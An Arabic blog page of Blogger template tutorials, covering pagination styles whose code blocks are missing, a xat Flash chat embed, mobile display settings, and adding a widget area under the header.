 وقم بأستبدال الصور والروابط .... 


ترقيم صفحات المدونة باشكال جميلة

اليوم وجد طريقة اكثر من رائعة لترقيم صفحات المدونة بأشكال كتيره وجميلة
اداة ترقيم الصفحات بكود جديد سريع خفيف على القالب 
و
بـ 17 شكل و لون لتجميل مدونتك


* مميزات الكود:
1. تسهيل تصفح المدونة على الزائر
2. اداة ترقيم الصفحات متاحة بأشكال كتيير لتناسب كل الاذواق و القوالب
3* الطريقة :

1. افتح لوحة التحكم اضغط هنا

2. اختر تصميم
3. ثم تحرير HTML
4. علم صح على توسيع قوالب عناصر واجهة المستخدم
5. ابحث عن </body>
6. ضع قبله مباشرة الكود التالي :

7.  تبحث عن :  ]]></b:skin>

8. ضع قبله الشكل الذي تريده لأداة ترقيم الصفحات

 الشكل الاول

 الكود 

 

الشكل الثاني


الكود



الشكل الثالث



الكود



الشكل الرابع



الكود



الشكل الخامس

الكود



الشكل السادس

الكود



الشكل السابع
الكود

الشكل الثامن


الكود



الشكل التاسع


الكود



الشكل العاشر


الكود



الشكل الحادي عشر


الكود

 

الشكل الثاني عشر



الكود



الشكل الثالث عشر


الكود




الشكل الرابع عشر



الكود


الشكل الخامس عشر


الكود



الشكل السادس عشر
 


الكود



الشكل السابع عشر


الكود




الموضوع منقول من مدونة رايق كول

كود شات فلاشى لمدونات بلوجر chat to bloger

بسم الله الرحمن الرحيم


اليوم اقدم اضافة جميلة لمدونات بلوجر كود شات فلاشى يمكنك تغير الطول و العرض للشات
من خلال تغير الارقام width="450" height="480" فى الكود حسب ما يناسب المدونة


كود:
<embed src="http://www.xatech.com/web_gear/chat/chat.swf" quality="high" width="500" height="480" name="chat" FlashVars="id=58540229" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://xat.com/update_flash.shtml" /><br><small><a target="_BLANK" href="http://xat.com/web_gear/?cb">


تحميل برنامج جوجل ايرث download google earth
طريقة سهلة لاضافة ازرار مشاركة الموضوعات بعدا عن اخطاء الاكواد

عمل خلفية لعنوان الموضوع فى المدونة

كود لتعريب قوالب بلوجر (bloger)

جدول اكواد الالون لكل مصممى المواقع

كورس تعليم لغة الفيجوال بيسك باللغة العربية Visual Basic 2008

ويندوز ثورة الغضب Windows 7 Egyptian Revolution of anger Sp1 x86 2011

عرض مدونتك على أجهزة الهواتف المحمولة (الجوال)

السلام عليكم 
هذا الدرس سيمكنك من عرض مدونتك على أجهزة الهواتف المحمولة  ، لقد وفرت  بلوجر  هذه الخدمة بعد ان شاع استعمال الهواتف الجوالة في جميع انحاء العالم .
لن تبحث بعد الآن عن طريقة تفعيل خدمة توافق مدونات بلوجر مع الهواتف النقالة .


أولا قم بالضغط على  الرابط  من هنــــــــا


سوف تفتح نافذة لوحة التحكم الرئيسية لمدونات بلوجر  وفي اعلاها ستجد هذه الجملة : اجعل مسودة Blogger لوحة المعلومات الافتراضية الخاصة بي ، ضع علامة صح بالمربع الموجود بجانبها .
نتوجه الآن الى  إعدادات ثم البريد الإلكتروني والجوال و قم بإختار  : 
  نعم، عرض إصدار الجوال لنموذجي على أجهزة الجوال
ثم حفظ الإعدادات  ويمكنك  مشاهدة نموذج  من مدونتك وطريقة عرضها بأجهزة الجوال  بالضغط على  معاينة الجوال .


اضافة اداة تحت الهيدر للقوالب الجاهزة



ايوم سوف نقدم كود لاضافة اداة تحت الهيدر حيث ان معظم القوالب التى نقوم بتحميلها من مواقع غر جوجل تكون منطة الهيدر مقفلة

ولعمل ذلك يتبع الخطوات التالية:

نذهب الي تصميم ثم تحرير html
نأخذ نسخة احتياطية من القالب
ثم نضغط عليctrl+f لنبحث عن الكود التالي

كود بلغة HTML:
<div id='header-wrapper'>
<b:section class='header' id='header' maxwidgets='1'
showaddelement='no'>
<b:widget id='Header1' locked='true' title=Your Blog 
Title(Header)' type='Header'/>
</b:section>
</div>
[HTML]

ثم نضيف الكود التالي تحت هذا الكود

كود بلغة HTML:
<!-- New widgets container Start -->
<b:section class='NewContainer' id='NewContainer'/>
<!-- New widgets container End -->
ثم احفظ القالب
سوف تجد (اضافة اداة) ظهرت تحت الهيدر



برامج ويب

طريقة سهلة لاضافة ازرار مشاركة الموضوعات بعدا عن اخطاء الاكواد

عمل خلفية لعنوان الموضوع فى المدونة

طريقة طي الجانب العلوي للمدونة حتى تظهر رابط للاشتراك في خدمة rss

كود لتعريب قوالب بلوجر (bloger)

جدول اكواد الالون لكل مصممى المواقع